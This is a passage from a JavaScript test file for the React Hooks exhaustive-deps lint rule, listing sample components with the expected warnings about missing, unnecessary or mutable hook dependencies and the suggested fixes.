{};\n            setState(state + 1);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'state'. \" +\n            'Either include it or remove the dependency array. ' +\n            `You can also do a functional update 'setState(s => ...)' ` +\n            `if you only need 'state' in the 'setState' call.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [state]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const ref = useRef();\n                  const [state, setState] = useState();\n                  useEffect(() => {\n                    ref.current = {};\n                    setState(state + 1);\n                  }, [state]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const ref = useRef();\n          const [state, setState] = useState();\n          useEffect(() => {\n            ref.current = {};\n            setState(state + 1);\n          }, [ref]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'state'. \" +\n            'Either include it or remove the dependency array. ' +\n            `You can also do a functional update 'setState(s => ...)' ` +\n            `if you only need 'state' in the 'setState' call.`,\n          // We don't ask to remove static deps but don't add them either.\n          // Don't suggest removing \"ref\" (it's fine either way)\n          // but *do* add \"state\". *Don't* add \"setState\" ourselves.\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [ref, state]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const ref = useRef();\n                  const [state, setState] = useState();\n                  useEffect(() => {\n                    ref.current = {};\n                    setState(state + 1);\n                  }, [ref, state]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const ref1 = useRef();\n          const ref2 = useRef();\n          useEffect(() => {\n            ref1.current.focus();\n            console.log(ref2.current.textContent);\n            alert(props.someOtherRefs.current.innerHTML);\n            fetch(props.color);\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has missing dependencies: 'props.color' and 'props.someOtherRefs'. \" +\n            'Either include them or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.color, props.someOtherRefs]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  const ref1 = useRef();\n                  const ref2 = useRef();\n                  useEffect(() => {\n                    ref1.current.focus();\n                    console.log(ref2.current.textContent);\n                    alert(props.someOtherRefs.current.innerHTML);\n                    fetch(props.color);\n                  }, [props.color, props.someOtherRefs]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const ref1 = useRef();\n          const ref2 = useRef();\n          useEffect(() => {\n            ref1.current.focus();\n            console.log(ref2.current.textContent);\n            alert(props.someOtherRefs.current.innerHTML);\n            fetch(props.color);\n          }, [ref1.current, ref2.current, props.someOtherRefs, props.color]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has unnecessary dependencies: 'ref1.current' and 'ref2.current'. \" +\n            'Either exclude them or remove the dependency array. ' +\n            \"Mutable values like 'ref1.current' aren't valid dependencies \" +\n            \"because mutating them doesn't re-render the component.\",\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.someOtherRefs, props.color]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  const ref1 = useRef();\n                  const ref2 = useRef();\n                  useEffect(() => {\n                    ref1.current.focus();\n                    console.log(ref2.current.textContent);\n                    alert(props.someOtherRefs.current.innerHTML);\n                    fetch(props.color);\n                  }, [props.someOtherRefs, props.color]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const ref1 = useRef();\n          const ref2 = useRef();\n          useEffect(() => {\n            ref1?.current?.focus();\n            console.log(ref2?.current?.textContent);\n            alert(props.someOtherRefs.current.innerHTML);\n            fetch(props.color);\n          }, [ref1?.current, ref2?.current, props.someOtherRefs, props.color]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has unnecessary dependencies: 'ref1.current' and 'ref2.current'. \" +\n            'Either exclude them or remove the dependency array. ' +\n            \"Mutable values like 'ref1.current' aren't valid dependencies \" +\n            \"because mutating them doesn't re-render the component.\",\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.someOtherRefs, props.color]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  const ref1 = useRef();\n                  const ref2 = useRef();\n                  useEffect(() => {\n                    ref1?.current?.focus();\n                    console.log(ref2?.current?.textContent);\n                    alert(props.someOtherRefs.current.innerHTML);\n                    fetch(props.color);\n                  }, [props.someOtherRefs, props.color]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const ref = useRef();\n          useEffect(() => {\n            console.log(ref.current);\n          }, [ref.current]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has an unnecessary dependency: 'ref.current'. \" +\n            'Either exclude it or remove the dependency array. ' +\n            \"Mutable values like 'ref.current' aren't valid dependencies \" +\n            \"because mutating them doesn't re-render the component.\",\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: []',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const ref = useRef();\n                  useEffect(() => {\n                    console.log(ref.current);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({ activeTab }) {\n          const ref1 = useRef();\n          const ref2 = useRef();\n          useEffect(() => {\n            ref1.current.scrollTop = 0;\n            ref2.current.scrollTop = 0;\n          }, [ref1.current, ref2.current, activeTab]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has unnecessary dependencies: 'ref1.current' and 'ref2.current'. \" +\n            'Either exclude them or remove the dependency array. ' +\n            \"Mutable values like 'ref1.current' aren't valid dependencies \" +\n            \"because mutating them doesn't re-render the component.\",\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [activeTab]',\n              output: normalizeIndent`\n                function MyComponent({ activeTab }) {\n                  const ref1 = useRef();\n                  const ref2 = useRef();\n                  useEffect(() => {\n                    ref1.current.scrollTop = 0;\n                    ref2.current.scrollTop = 0;\n                  }, [activeTab]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent({ activeTab, initY }) {\n          const ref1 = useRef();\n          const ref2 = useRef();\n          const fn = useCallback(() => {\n            ref1.current.scrollTop = initY;\n            ref2.current.scrollTop = initY;\n          }, [ref1.current, ref2.current, activeTab, initY]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useCallback has unnecessary dependencies: 'activeTab', 'ref1.current', and 'ref2.current'. \" +\n            'Either exclude them or remove the dependency array. ' +\n            \"Mutable values like 'ref1.current' aren't valid dependencies \" +\n            \"because mutating them doesn't re-render the component.\",\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [initY]',\n              output: normalizeIndent`\n                function MyComponent({ activeTab, initY }) {\n                  const ref1 = useRef();\n                  const ref2 = useRef();\n                  const fn = useCallback(() => {\n                    ref1.current.scrollTop = initY;\n                    ref2.current.scrollTop = initY;\n                  }, [initY]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const ref = useRef();\n          useEffect(() => {\n            console.log(ref.current);\n          }, [ref.current, ref]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has an unnecessary dependency: 'ref.current'. \" +\n            'Either exclude it or remove the dependency array. ' +\n            \"Mutable values like 'ref.current' aren't valid dependencies \" +\n            \"because mutating them doesn't re-render the component.\",\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [ref]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const ref = useRef();\n                  useEffect(() => {\n                    console.log(ref.current);\n                  }, [ref]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        const MyComponent = forwardRef((props, ref) => {\n          useImperativeHandle(ref, () => ({\n            focus() {\n              alert(props.hello);\n            }\n          }), [])\n        });\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useImperativeHandle has a missing dependency: 'props.hello'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.hello]',\n              output: normalizeIndent`\n                const MyComponent = forwardRef((props, ref) => {\n                  useImperativeHandle(ref, () => ({\n                    focus() {\n                      alert(props.hello);\n                    }\n                  }), [props.hello])\n                });\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            if (props.onChange) {\n              props.onChange();\n            }\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'props'. \" +\n            'Either include it or remove the dependency array. ' +\n            `However, 'props' will change when *any* prop changes, so the ` +\n            `preferred fix is to destructure the 'props' object outside ` +\n            `of the useEffect call and refer to those specific ` +\n            `props inside useEffect.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useEffect(() => {\n                    if (props.onChange) {\n                      props.onChange();\n                    }\n                  }, [props]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            if (props?.onChange) {\n              props?.onChange();\n            }\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'props'. \" +\n            'Either include it or remove the dependency array. ' +\n            `However, 'props' will change when *any* prop changes, so the ` +\n            `preferred fix is to destructure the 'props' object outside ` +\n            `of the useEffect call and refer to those specific ` +\n            `props inside useEffect.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useEffect(() => {\n                    if (props?.onChange) {\n                      props?.onChange();\n                    }\n                  }, [props]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            function play() {\n              props.onPlay();\n            }\n            function pause() {\n              props.onPause();\n            }\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'props'. \" +\n            'Either include it or remove the dependency array. ' +\n            `However, 'props' will change when *any* prop changes, so the ` +\n            `preferred fix is to destructure the 'props' object outside ` +\n            `of the useEffect call and refer to those specific ` +\n            `props inside useEffect.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useEffect(() => {\n                    function play() {\n                      props.onPlay();\n                    }\n                    function pause() {\n                      props.onPause();\n                    }\n                  }, [props]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            if (props.foo.onChange) {\n              props.foo.onChange();\n            }\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'props.foo'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useEffect(() => {\n                    if (props.foo.onChange) {\n                      props.foo.onChange();\n                    }\n                  }, [props.foo]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            props.onChange();\n            if (props.foo.onChange) {\n              props.foo.onChange();\n            }\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'props'. \" +\n            'Either include it or remove the dependency array. ' +\n            `However, 'props' will change when *any* prop changes, so the ` +\n            `preferred fix is to destructure the 'props' object outside ` +\n            `of the useEffect call and refer to those specific ` +\n            `props inside useEffect.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useEffect(() => {\n                    props.onChange();\n                    if (props.foo.onChange) {\n                      props.foo.onChange();\n                    }\n                  }, [props]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const [skillsCount] = useState();\n          useEffect(() => {\n            if (skillsCount === 0 && !props.isEditMode) {\n              props.toggleEditMode();\n            }\n          }, [skillsCount, props.isEditMode, props.toggleEditMode]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'props'. \" +\n            'Either include it or remove the dependency array. ' +\n            `However, 'props' will change when *any* prop changes, so the ` +\n            `preferred fix is to destructure the 'props' object outside ` +\n            `of the useEffect call and refer to those specific ` +\n            `props inside useEffect.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [skillsCount, props.isEditMode, props.toggleEditMode, props]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  const [skillsCount] = useState();\n                  useEffect(() => {\n                    if (skillsCount === 0 && !props.isEditMode) {\n                      props.toggleEditMode();\n                    }\n                  }, [skillsCount, props.isEditMode, props.toggleEditMode, props]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          const [skillsCount] = useState();\n          useEffect(() => {\n            if (skillsCount === 0 && !props.isEditMode) {\n              props.toggleEditMode();\n            }\n          }, []);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has missing dependencies: 'props' and 'skillsCount'. \" +\n            'Either include them or remove the dependency array. ' +\n            `However, 'props' will change when *any* prop changes, so the ` +\n            `preferred fix is to destructure the 'props' object outside ` +\n            `of the useEffect call and refer to those specific ` +\n            `props inside useEffect.`,\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props, skillsCount]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  const [skillsCount] = useState();\n                  useEffect(() => {\n                    if (skillsCount === 0 && !props.isEditMode) {\n                      props.toggleEditMode();\n                    }\n                  }, [props, skillsCount]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            externalCall(props);\n            props.onChange();\n          }, []);\n        }\n      `,\n      // Don't suggest to destructure props here since you can't.\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'props'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useEffect(() => {\n                    externalCall(props);\n                    props.onChange();\n                  }, [props]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          useEffect(() => {\n            props.onChange();\n            externalCall(props);\n          }, []);\n        }\n      `,\n      // Don't suggest to destructure props here since you can't.\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'props'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props]',\n              output: normalizeIndent`\n                function MyComponent(props) {\n                  useEffect(() => {\n                    props.onChange();\n                    externalCall(props);\n                  }, [props]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let value;\n          let value2;\n          let value3;\n          let value4;\n          let asyncValue;\n          useEffect(() => {\n            if (value4) {\n              value = {};\n            }\n            value2 = 100;\n            value = 43;\n            value4 = true;\n            console.log(value2);\n            console.log(value3);\n            setTimeout(() => {\n              asyncValue = 100;\n            });\n          }, []);\n        }\n      `,\n      // This is a separate warning unrelated to others.\n      // We could've made a separate rule for it but it's rare enough to name it.\n      // No suggestions because the intent isn't clear.\n      errors: [\n        {\n          message:\n            // value2\n            `Assignments to the 'value2' variable from inside React Hook useEffect ` +\n            `will be lost after each render. To preserve the value over time, ` +\n            `store it in a useRef Hook and keep the mutable value in the '.current' property. ` +\n            `Otherwise, you can move this variable directly inside useEffect.`,\n          suggestions: undefined,\n        },\n        {\n          message:\n            // value\n            `Assignments to the 'value' variable from inside React Hook useEffect ` +\n            `will be lost after each render. To preserve the value over time, ` +\n            `store it in a useRef Hook and keep the mutable value in the '.current' property. ` +\n            `Otherwise, you can move this variable directly inside useEffect.`,\n          suggestions: undefined,\n        },\n        {\n          message:\n            // value4\n            `Assignments to the 'value4' variable from inside React Hook useEffect ` +\n            `will be lost after each render. To preserve the value over time, ` +\n            `store it in a useRef Hook and keep the mutable value in the '.current' property. ` +\n            `Otherwise, you can move this variable directly inside useEffect.`,\n          suggestions: undefined,\n        },\n        {\n          message:\n            // asyncValue\n            `Assignments to the 'asyncValue' variable from inside React Hook useEffect ` +\n            `will be lost after each render. To preserve the value over time, ` +\n            `store it in a useRef Hook and keep the mutable value in the '.current' property. ` +\n            `Otherwise, you can move this variable directly inside useEffect.`,\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let value;\n          let value2;\n          let value3;\n          let asyncValue;\n          useEffect(() => {\n            value = {};\n            value2 = 100;\n            value = 43;\n            console.log(value2);\n            console.log(value3);\n            setTimeout(() => {\n              asyncValue = 100;\n            });\n          }, [value, value2, value3]);\n        }\n      `,\n      // This is a separate warning unrelated to others.\n      // We could've made a separate rule for it but it's rare enough to name it.\n      // No suggestions because the intent isn't clear.\n      errors: [\n        {\n          message:\n            // value\n            `Assignments to the 'value' variable from inside React Hook useEffect ` +\n            `will be lost after each render. To preserve the value over time, ` +\n            `store it in a useRef Hook and keep the mutable value in the '.current' property. ` +\n            `Otherwise, you can move this variable directly inside useEffect.`,\n          suggestions: undefined,\n        },\n        {\n          message:\n            // value2\n            `Assignments to the 'value2' variable from inside React Hook useEffect ` +\n            `will be lost after each render. To preserve the value over time, ` +\n            `store it in a useRef Hook and keep the mutable value in the '.current' property. ` +\n            `Otherwise, you can move this variable directly inside useEffect.`,\n          suggestions: undefined,\n        },\n        {\n          message:\n            // asyncValue\n            `Assignments to the 'asyncValue' variable from inside React Hook useEffect ` +\n            `will be lost after each render. To preserve the value over time, ` +\n            `store it in a useRef Hook and keep the mutable value in the '.current' property. ` +\n            `Otherwise, you can move this variable directly inside useEffect.`,\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const myRef = useRef();\n          useEffect(() => {\n            const handleMove = () => {};\n            myRef.current.addEventListener('mousemove', handleMove);\n            return () => myRef.current.removeEventListener('mousemove', handleMove);\n          }, []);\n          return <div ref={myRef} />;\n        }\n      `,\n      errors: [\n        {\n          message:\n            `The ref value 'myRef.current' will likely have changed by the time ` +\n            `this effect cleanup function runs. If this ref points to a node ` +\n            `rendered by React, copy 'myRef.current' to a variable inside the effect, ` +\n            `and use that variable in the cleanup function.`,\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const myRef = useRef();\n          useEffect(() => {\n            const handleMove = () => {};\n            myRef?.current?.addEventListener('mousemove', handleMove);\n            return () => myRef?.current?.removeEventListener('mousemove', handleMove);\n          }, []);\n          return <div ref={myRef} />;\n        }\n      `,\n      errors: [\n        {\n          message:\n            `The ref value 'myRef.current' will likely have changed by the time ` +\n            `this effect cleanup function runs. If this ref points to a node ` +\n            `rendered by React, copy 'myRef.current' to a variable inside the effect, ` +\n            `and use that variable in the cleanup function.`,\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          const myRef = useRef();\n          useEffect(() => {\n            const handleMove = () => {};\n            myRef.current.addEventListener('mousemove', handleMove);\n            return () => myRef.current.removeEventListener('mousemove', handleMove);\n          });\n          return <div ref={myRef} />;\n        }\n      `,\n      errors: [\n        {\n          message:\n            `The ref value 'myRef.current' will likely have changed by the time ` +\n            `this effect cleanup function runs. If this ref points to a node ` +\n            `rendered by React, copy 'myRef.current' to a variable inside the effect, ` +\n            `and use that variable in the cleanup function.`,\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function useMyThing(myRef) {\n          useEffect(() => {\n            const handleMove = () => {};\n            myRef.current.addEventListener('mousemove', handleMove);\n            return () => myRef.current.removeEventListener('mousemove', handleMove);\n          }, [myRef]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            `The ref value 'myRef.current' will likely have changed by the time ` +\n            `this effect cleanup function runs. If this ref points to a node ` +\n            `rendered by React, copy 'myRef.current' to a variable inside the effect, ` +\n            `and use that variable in the cleanup function.`,\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function useMyThing(myRef) {\n          useEffect(() => {\n            const handleMouse = () => {};\n            myRef.current.addEventListener('mousemove', handleMouse);\n            myRef.current.addEventListener('mousein', handleMouse);\n            return function() {\n              setTimeout(() => {\n                myRef.current.removeEventListener('mousemove', handleMouse);\n                myRef.current.removeEventListener('mousein', handleMouse);\n              });\n            }\n          }, [myRef]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            `The ref value 'myRef.current' will likely have changed by the time ` +\n            `this effect cleanup function runs. If this ref points to a node ` +\n            `rendered by React, copy 'myRef.current' to a variable inside the effect, ` +\n            `and use that variable in the cleanup function.`,\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function useMyThing(myRef, active) {\n          useEffect(() => {\n            const handleMove = () => {};\n            if (active) {\n              myRef.current.addEventListener('mousemove', handleMove);\n              return function() {\n                setTimeout(() => {\n                  myRef.current.removeEventListener('mousemove', handleMove);\n                });\n              }\n            }\n          }, [myRef, active]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            `The ref value 'myRef.current' will likely have changed by the time ` +\n            `this effect cleanup function runs. If this ref points to a node ` +\n            `rendered by React, copy 'myRef.current' to a variable inside the effect, ` +\n            `and use that variable in the cleanup function.`,\n          suggestions: undefined,\n        },\n      ],\n    },\n    {\n      code: `\n        function MyComponent() {\n          const myRef = useRef();\n          useLayoutEffect_SAFE_FOR_SSR(() => {\n            const handleMove = () => {};\n            myRef.current.addEventListener('mousemove', handleMove);\n            return () => myRef.current.removeEventListener('mousemove', handleMove);\n          });\n          return <div ref={myRef} />;\n        }\n      `,\n      // No changes\n      output: null,\n      errors: [\n        `The ref value 'myRef.current' will likely have changed by the time ` +\n          `this effect cleanup function runs. If this ref points to a node ` +\n          `rendered by React, copy 'myRef.current' to a variable inside the effect, ` +\n          `and use that variable in the cleanup function.`,\n      ],\n      options: [{additionalHooks: 'useLayoutEffect_SAFE_FOR_SSR'}],\n    },\n    {\n      // Autofix ignores constant primitives (leaving the ones that are there).\n      code: normalizeIndent`\n        function MyComponent() {\n          const local1 = 42;\n          const local2 = '42';\n          const local3 = null;\n          const local4 = {};\n          useEffect(() => {\n            console.log(local1);\n            console.log(local2);\n            console.log(local3);\n            console.log(local4);\n          }, [local1, local3]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has a missing dependency: 'local4'. \" +\n            'Either include it or remove the dependency array.',\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [local1, local3, local4]',\n              output: normalizeIndent`\n                function MyComponent() {\n                  const local1 = 42;\n                  const local2 = '42';\n                  const local3 = null;\n                  const local4 = {};\n                  useEffect(() => {\n                    console.log(local1);\n                    console.log(local2);\n                    console.log(local3);\n                    console.log(local4);\n                  }, [local1, local3, local4]);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        function MyComponent() {\n          useEffect(() => {\n            window.scrollTo(0, 0);\n          }, [window]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has an unnecessary dependency: 'window'. \" +\n            'Either exclude it or remove the dependency array. ' +\n            \"Outer scope values like 'window' aren't valid dependencies \" +\n            \"because mutating them doesn't re-render the component.\",\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: []',\n              output: normalizeIndent`\n                function MyComponent() {\n                  useEffect(() => {\n                    window.scrollTo(0, 0);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        import MutableStore from 'store';\n\n        function MyComponent() {\n          useEffect(() => {\n            console.log(MutableStore.hello);\n          }, [MutableStore.hello]);\n        }\n      `,\n      errors: [\n        {\n          message:\n            \"React Hook useEffect has an unnecessary dependency: 'MutableStore.hello'. \" +\n            'Either exclude it or remove the dependency array. ' +\n            \"Outer scope values like 'MutableStore.hello' aren't valid dependencies \" +\n            \"because mutating them doesn't re-render the component.\",\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: []',\n              output: normalizeIndent`\n                import MutableStore from 'store';\n\n                function MyComponent() {\n                  useEffect(() => {\n                    console.log(MutableStore.hello);\n                  }, []);\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        import MutableStore from 'store';\n        let z = {};\n\n        function MyComponent(props) {\n          let x = props.foo;\n          {\n            let y = props.bar;\n            useEffect(() => {\n              console.log(MutableStore.hello.world, props.foo, x, y, z, global.stuff);\n            }, [MutableStore.hello.world, props.foo, x, y, z, global.stuff]);\n          }\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useEffect has unnecessary dependencies: ' +\n            \"'MutableStore.hello.world', 'global.stuff', and 'z'. \" +\n            'Either exclude them or remove the dependency array. ' +\n            \"Outer scope values like 'MutableStore.hello.world' aren't valid dependencies \" +\n            \"because mutating them doesn't re-render the component.\",\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo, x, y]',\n              output: normalizeIndent`\n                import MutableStore from 'store';\n                let z = {};\n\n                function MyComponent(props) {\n                  let x = props.foo;\n                  {\n                    let y = props.bar;\n                    useEffect(() => {\n                      console.log(MutableStore.hello.world, props.foo, x, y, z, global.stuff);\n                    }, [props.foo, x, y]);\n                  }\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        import MutableStore from 'store';\n        let z = {};\n\n        function MyComponent(props) {\n          let x = props.foo;\n          {\n            let y = props.bar;\n            useEffect(() => {\n              // nothing\n            }, [MutableStore.hello.world, props.foo, x, y, z, global.stuff]);\n          }\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useEffect has unnecessary dependencies: ' +\n            \"'MutableStore.hello.world', 'global.stuff', and 'z'. \" +\n            'Either exclude them or remove the dependency array. ' +\n            \"Outer scope values like 'MutableStore.hello.world' aren't valid dependencies \" +\n            \"because mutating them doesn't re-render the component.\",\n          // The output should contain the ones that are inside a component\n          // since there are legit reasons to over-specify them for effects.\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: [props.foo, x, y]',\n              output: normalizeIndent`\n                import MutableStore from 'store';\n                let z = {};\n\n                function MyComponent(props) {\n                  let x = props.foo;\n                  {\n                    let y = props.bar;\n                    useEffect(() => {\n                      // nothing\n                    }, [props.foo, x, y]);\n                  }\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        import MutableStore from 'store';\n        let z = {};\n\n        function MyComponent(props) {\n          let x = props.foo;\n          {\n            let y = props.bar;\n            const fn = useCallback(() => {\n              // nothing\n            }, [MutableStore.hello.world, props.foo, x, y, z, global.stuff]);\n          }\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useCallback has unnecessary dependencies: ' +\n            \"'MutableStore.hello.world', 'global.stuff', 'props.foo', 'x', 'y', and 'z'. \" +\n            'Either exclude them or remove the dependency array. ' +\n            \"Outer scope values like 'MutableStore.hello.world' aren't valid dependencies \" +\n            \"because mutating them doesn't re-render the component.\",\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: []',\n              output: normalizeIndent`\n                import MutableStore from 'store';\n                let z = {};\n\n                function MyComponent(props) {\n                  let x = props.foo;\n                  {\n                    let y = props.bar;\n                    const fn = useCallback(() => {\n                      // nothing\n                    }, []);\n                  }\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      code: normalizeIndent`\n        import MutableStore from 'store';\n        let z = {};\n\n        function MyComponent(props) {\n          let x = props.foo;\n          {\n            let y = props.bar;\n            const fn = useCallback(() => {\n              // nothing\n            }, [MutableStore?.hello?.world, props.foo, x, y, z, global?.stuff]);\n          }\n        }\n      `,\n      errors: [\n        {\n          message:\n            'React Hook useCallback has unnecessary dependencies: ' +\n            \"'MutableStore.hello.world', 'global.stuff', 'props.foo', 'x', 'y', and 'z'. \" +\n            'Either exclude them or remove the dependency array. ' +\n            \"Outer scope values like 'MutableStore.hello.world' aren't valid dependencies \" +\n            \"because mutating them doesn't re-render the component.\",\n          suggestions: [\n            {\n              desc: 'Update the dependencies array to be: []',\n              output: normalizeIndent`\n                import MutableStore from 'store';\n                let z = {};\n\n                function MyComponent(props) {\n                  let x = props.foo;\n                  {\n                    let y = props.bar;\n                    const fn = useCallback(() => {\n                      // nothing\n                    }, []);\n                  }\n                }\n              `,\n            },\n          ],\n        },\n      ],\n    },\n    {\n      // Every almost-static function is tainted by a dynamic value.\n      code: normalizeIndent`\n        function MyComponent(props) {\n          let [, setState] = useState();\n          let [, dispatch] = React.useReducer();\n          let taint = props.foo;\n\n          function handleNext1(value) {\n            let value2 = value * taint;\n            setState(value2);\n            console.log('hello');\n          }\n          const handleNext2 = (value) => {\n            setState(taint(value));\n            console.log('hello');\n          };\n          let handleNext3 = function(value) {\n            setTimeout(() => console.log(taint));\n            dispatch({ type: 'x', value });\n          };\n          useEffect(() => {\n            return Store.subscribe(handleNext1);\n          